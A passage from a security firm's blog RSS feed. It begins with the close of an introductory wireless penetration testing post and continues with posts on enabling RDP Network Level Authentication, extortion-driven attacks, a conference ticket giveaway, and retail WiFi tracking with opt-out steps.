<p>In an encrypted wireless network, the connection between the client and the AP is secure in the sense that an outside onlooker, who does not have access to the wireless network (usually through password based authentication) would not be able to view and/or modify the traffic of the clients of that specific network. The first standard form of this type of encryption was called “WEP” (Wired Equivalent Privacy). For some time, WEP was known was the de-facto method for wireless security, until tools, attacks, and methods where developed essentially making this sort of authentication useless. In modern wireless networks, much more sophisticated WPA and WPA2x security is used to better protect these networks. Although these encryption protocols are strong, they all have weaknesses that can be exploited in order to gain access to the AP, Client, or underlining network. Now, it is not just the security of the wireless protocol itself that is important, but what those wireless clients have access to. For example, in a typical home network, the entire wireless and wired network are on the same subnet, and thus a client on the AP can have access to a smart TV hooked up by Ethernet. In addition, home networks usually have WPA/WPA2-PSK encryption that only involves a password for authentication. &nbsp;</p>



<p>Conversely, in the enterprise, it is best practice to isolate the wireless networks from the rest of the company’s internal network, and only allow wireless clients to access parts of the network on a case-by-case basis. This is called “wireless isolation” and is commonplace in the modern enterprise system. Although it is the better option, a lot of company networks fall victim to negligence during wireless configuration, thus a wireless client will have access to the internal network. This is fantastic from a would-be attacker standpoint, as the wireless network now becomes a more lucrative point of entry. Additionally, in an enterprise, it is possible that the wireless networking system has added layers of security. An example of this would be “Mac address whitelisting”. This is when only a predetermined set of clients are allowed to connect to the AP. The MAC address is data that is unique to the specific wireless adapter installed on a device (i.e. a laptop wireless card, a USB wireless card, a cell phones internal wireless adapter.). Another example would be username/password authentication that could authenticate the user with a Radius, MS Active Directory, or other server. &nbsp;</p>



<p>Now that we have a solid understanding of the basics of these types of networks, we can move on to learning about their vulnerabilities and how to exploit that, and the first thing we need to cover is hardware. What exactly you are going to need to get going with wireless penetration testing, from a basic USB card to a 2 mile+ packet cannon, this will all be covered in part 2 coming shortly.</p>



<p>Stay tuned at&nbsp;<a href="https://www.linkedin.com/company/virtue-security" target="_blank" rel="noopener noreferrer">https://www.linkedin.com/company/virtue-security</a> Mark Shasha is a penetration tester at Virtue Security in New York City –&nbsp;<a href="https://twitter.com/bignosesecurity" target="_blank" rel="noopener noreferrer">@bignosesecurity</a></p>
<p>The post <a href="https://www.virtuesecurity.com/wireless-penetration-testing-guide-part-1-intro-basics/">Wireless Penetration Testing Guide: Part 1 – Intro And Basics</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1146</post-id>	</item>
		<item>
		<title>Enable Network Level Access For Windows RDP</title>
		<link>https://www.virtuesecurity.com/enable-network-level-access-windows-rdp/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Sat, 28 Oct 2017 05:14:38 +0000</pubDate>
				<category><![CDATA[Network]]></category>
		<guid isPermaLink="false">http://virtuesecurity.wpengine.com/?p=189</guid>

					<description><![CDATA[<p>Chances are you may have arrived here after a vulnerability scan returns a finding called “Terminal Services Doesn’t Use Network Level Authentication (NLA)”. The default configuration of Windows 7, 2008, and 2012 allows remote users to connect over the network and initiate a full RDP session without providing any credentials. This allows an untrusted user [&#8230;]</p>
<p>The post <a href="https://www.virtuesecurity.com/enable-network-level-access-windows-rdp/">Enable Network Level Access For Windows RDP</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Chances are you may have arrived here after a vulnerability scan returns a finding called “Terminal Services Doesn’t Use Network Level Authentication (NLA)”. The default configuration of Windows 7, 2008, and 2012 allows remote users to connect over the network and initiate a full RDP session without providing any credentials. This allows an untrusted user to land on the system login page as shown below:</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img width="543" height="302" data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/Windows-2008-Login-Screen.png" alt="Windows 2008 Login Screen" class="wp-image-1573" style="object-fit:cover"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2017/10/Windows-2008-Login-Screen.png 543w, https://www.virtuesecurity.com/wp-content/uploads/2017/10/Windows-2008-Login-Screen-300x167.png 300w" sizes="(max-width: 543px) 100vw, 543px" /></figure></div>


<p>Several risks are associated with this functionality; an attacker is now able to: * Accurately fingerprint the version of Windows * Potentially identify user accounts on the system * Leverage the RDP service to consume excessive system resources The default configuration of RDP is similar to letting anyone into the lobby of your building; while they may not have keys to apartments, we generally don’t want strangers milling around the lobby to gather information if it can be avoided.</p>



<h2 class="wp-block-heading title-mini" id="h-remediation">Remediation</h2>



<p>To enable network level access on Windows 2008 R2 we can do the following:</p>



<p>1. Open the Group Policy Editor by typing ‘gpedit’</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img width="600" height="139" data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/gpedit.png" alt="gpedit" class="wp-image-1575"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2017/10/gpedit.png 600w, https://www.virtuesecurity.com/wp-content/uploads/2017/10/gpedit-300x70.png 300w" sizes="(max-width: 600px) 100vw, 600px" /></figure></div>

<div class="wp-block-image">
<figure class="aligncenter size-full"><img width="581" height="261" data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/Group-Policy-Editor.png" alt="Group Policy Editor" class="wp-image-1576"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2017/10/Group-Policy-Editor.png 581w, https://www.virtuesecurity.com/wp-content/uploads/2017/10/Group-Policy-Editor-300x135.png 300w" sizes="(max-width: 581px) 100vw, 581px" /></figure></div>


<p>2. Navigate to the following:</p>



<ol class="wp-block-list">
<li>Computer Configuration</li>



<li>– Administrative Templates</li>



<li>— Windows Components</li>



<li>— Remote Desktop Services</li>



<li>—- Remote Desktop Session Host</li>



<li>—– Security</li>
</ol>



<p>7. Doubleclick on “Require user authentication for remote connections by using Network Level Authentication”</p>



<p>8. Check ‘Enabled’. Apply. Save.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img width="582" height="277" data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/NLA-Enabled.png" alt="NLA Enabled" class="wp-image-1577"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2017/10/NLA-Enabled.png 582w, https://www.virtuesecurity.com/wp-content/uploads/2017/10/NLA-Enabled-300x143.png 300w" sizes="(max-width: 582px) 100vw, 582px" /></figure></div>


<p>Changes are immediate, no reboot is required. Network Level Access should now be enabled.</p>



<h2 class="wp-block-heading title-mini" id="h-verification">Verification</h2>



<p>One of the quickest and easiest ways to verify if NLA is to use the ‘rdesktop’ tool packaged with&nbsp;</p>



<p><a href="https://www.kali.org/" target="_blank" rel="noopener noreferrer">Kali Linux</a>. When NLA is properly enabled, you will get the following error:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="root@kali:~# rdesktop 10.0.1.73
Autoselected keyboard map en-us
ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server." style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">root@kali:~#</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">rdesktop</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">10.0</span><span style="color: #CE9178">.1.73</span></span>
<span class="line"><span style="color: #DCDCAA">Autoselected</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">keyboard</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">map</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">en-us</span></span>
<span class="line"><span style="color: #DCDCAA">ERROR:</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">CredSSP:</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Initialize</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">failed,</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">do</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">you</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">have</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">correct</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">kerberos</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">tgt</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">initialized</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">?</span></span>
<span class="line"><span style="color: #DCDCAA">Failed</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">to</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">connect,</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">CredSSP</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">required</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">by</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">server.</span></span></code></pre></div>



<p>For long term solutions to this issue, organizations may wish to make this change part of a hardened standard image used to provision new servers.</p>
<p>The post <a href="https://www.virtuesecurity.com/enable-network-level-access-windows-rdp/">Enable Network Level Access For Windows RDP</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1143</post-id>	</item>
		<item>
		<title>Extortion is a Rising Motive in New Attacks</title>
		<link>https://www.virtuesecurity.com/extortion-rising-motive-new-attacks/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Sat, 28 Oct 2017 05:11:28 +0000</pubDate>
				<category><![CDATA[Network]]></category>
		<guid isPermaLink="false">http://virtuesecurity.wpengine.com/?p=181</guid>

					<description><![CDATA[<p>There is one trend that has remained consistent across the internet over the last twenty years; attacks have become more sophisticated, more common, and more malicious every year. In 2013, the&#160;Cryptolocker&#160;virus became one of the first tools used by criminal organizations to extort money from victims on a mass scale. When the malware infected a [&#8230;]</p>
<p>The post <a href="https://www.virtuesecurity.com/extortion-rising-motive-new-attacks/">Extortion is a Rising Motive in New Attacks</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>There is one trend that has remained consistent across the internet over the last twenty years; attacks have become more sophisticated, more common, and more malicious every year. In 2013, the&nbsp;<a href="http://en.wikipedia.org/wiki/CryptoLocker">Cryptolocker</a>&nbsp;virus became one of the first tools used by criminal organizations to extort money from victims on a mass scale. When the malware infected a machine, document files were encrypted with a unique public key, the private key was maintained on remote servers leaving victims with no way to decrypt their data without paying the ransom. Organized cybercrime is a massive industry of its own, and has its own struggles of saturation, technical advancement, and economic problems like any other industry. As more career criminals enter the industry, criminal hackers must try harder to make the most profit from every attack. What we’re seeing now are criminals looking to monetize on breaches by extorting their victims.</p>



<h2 class="wp-block-heading">Record Profits</h2>



<p>To date, Cryptolocker has compromised almost a quarter million computers and has fetched&nbsp;<a href="http://www.theregister.co.uk/2014/06/19/cryptolocker_clean_up_analysis/">over $27,000,000 in ransom payouts</a>. Not only does this allow criminals to reinvest substantial funds into newer and more advanced attacks, it set a precedent for other “would be” criminals who may be looking to profit.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/cryptolocker-ransomware.png" alt="Cryptolocker Ransomware" class="wp-image-525"/ loading="lazy" class="lazyload"></figure></div>


<h3 class="wp-block-heading">Code Spaces</h3>



<p>In June 2014 Code Spaces was notified by an unknown attacker that they had gained access to their Amazon EC2 admin tools. Along with the communication came a demand for a large sum of money. When Code Spaces did not deliver the payment, all data backups, virtual servers, and live virtual machines were wiped by the attacker. Code Spaces was forced to close their doors and cease all business operation.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/codespaces.png" alt="Codespace Breach" class="wp-image-523"/ loading="lazy" class="lazyload"></figure></div>


<h3 class="wp-block-heading">Domino’s Pizza</h3>



<p>Also in June 2014 was a&nbsp;<a href="http://www.newsweek.com/hackers-try-extort-dominos-over-stolen-data-255048" target="_blank" rel="noopener noreferrer">compromise of Domino’s systems in France and Belgium</a>. The group Rex Mundi claimed responsibility and threatened to publish stolen data of Domino’s customers unless a ransom of $40,000 was paid. Domino’s announced they had no intention of paying a ransom, and at the time of this writing there is no public resolution available.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/dominos.png" alt="Dominos Pizza tracker" class="wp-image-524"/ loading="lazy" class="lazyload"></figure></div>


<h3 class="wp-block-heading">Looking Forward</h3>



<p>We often hear IT staff dismiss potential threats because their data would not be useful to an attacker, people often say “Why would an attacker be after this information?”. Extortion is becoming a more popular way to monetize on data regardless of the direct usefulness to the attacker. Chances are, if the data is valuable to you, it is now inherently valuable to the attacker also.</p>
<p>The post <a href="https://www.virtuesecurity.com/extortion-rising-motive-new-attacks/">Extortion is a Rising Motive in New Attacks</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1140</post-id>	</item>
		<item>
		<title>Win a Ticket to AppSecusa!</title>
		<link>https://www.virtuesecurity.com/win-ticket-appsecusa/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Sun, 22 Oct 2017 21:59:09 +0000</pubDate>
				<category><![CDATA[Application]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Network]]></category>
		<guid isPermaLink="false">http://virtuesecurity.wpengine.com/?p=140</guid>

					<description><![CDATA[<p>Want to go to AppSec USA for FREE? We are giving away a FULL conference pass to AppSec USA this week in New York City.</p>
<p>The post <a href="https://www.virtuesecurity.com/win-ticket-appsecusa/">Win a Ticket to AppSecusa!</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Want to go to AppSec USA for FREE? We are giving away a FULL conference pass to&nbsp;<a href="http://appsecusa.org/2013/register/">AppSec USA</a>&nbsp;this week in New York City. This is open to all security professionals, so please send us your linkedin if you win. The winner will be announced on our twitter tomorrow November 19th at 12pm EDT. <em>Step 1: Retweet the contest announcement</em> Can be found at:&nbsp;<a href="https://twitter.com/VirtueSecurity">https://twitter.com/VirtueSecurity</a> <em>Step 2: Tweet us your best bad joke</em> We love bad jokes, but we also like technical jokes as well. Be creative and good luck! We will grab an open mic at the conference and read the best jokes received.</p>
<p>The post <a href="https://www.virtuesecurity.com/win-ticket-appsecusa/">Win a Ticket to AppSecusa!</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1135</post-id>	</item>
		<item>
		<title>WiFi Tracking Services</title>
		<link>https://www.virtuesecurity.com/wifi-tracking-services/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Sun, 22 Oct 2017 21:54:42 +0000</pubDate>
				<category><![CDATA[Network]]></category>
		<guid isPermaLink="false">http://virtuesecurity.wpengine.com/?p=123</guid>

					<description><![CDATA[<p>The post <a href="https://www.virtuesecurity.com/wifi-tracking-services/">WiFi Tracking Services</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Big name retailers have begun to implement large scale WiFi monitoring systems to track all smartphones in their stores. By monitoring WiFi traffic they can identify unique devices by the MAC address associated with your phone. Stores which subscribe to this service can determine if customers are repeat visitors, how long they spend in the store, and what areas of the store they visit. Euclid, a major provider of this service, <a href="http://euclidanalytics.com/privacy/">does claim</a> that no sensitive information is collected. However, this may not be reassuring to all privacy advocates. Nothing can fully prevent your device being tracked without disabling WiFi completely. For best privacy measures it is recommend that WiFi be disabled when you leave your home and office. Below is the link to opt-out of the service: <a href="https://signup.euclidelements.com/optout">https://signup.euclidelements.com/optout</a> To disable WiFi on Android, the icon highlighted below can be tapped to toggle WiFi on and off:</p>



<figure class="wp-block-image size-full"><img width="470" height="233" data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/android_disable_wifi-1.png" alt="Android disable WiFi" class="wp-image-1626"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2017/10/android_disable_wifi-1.png 470w, https://www.virtuesecurity.com/wp-content/uploads/2017/10/android_disable_wifi-1-300x149.png 300w" sizes="(max-width: 470px) 100vw, 470px" /></figure>


<p>To disable WiFi on iOS, under the setting panel, the icon be switched on and off as shown below:</p>



<figure class="wp-block-image size-full"><img width="600" height="72" data-src="https://www.virtuesecurity.com/wp-content/uploads/2017/10/wifi_tracking_ios.png" alt="wifi_tracking_ios" class="wp-image-1627"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2017/10/wifi_tracking_ios.png 600w, https://www.virtuesecurity.com/wp-content/uploads/2017/10/wifi_tracking_ios-300x36.png 300w" sizes="(max-width: 600px) 100vw, 600px" /></figure>
<p>The post <a href="https://www.virtuesecurity.com/wifi-tracking-services/">WiFi Tracking Services</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1128</post-id>	</item>
	</channel>
</rss>
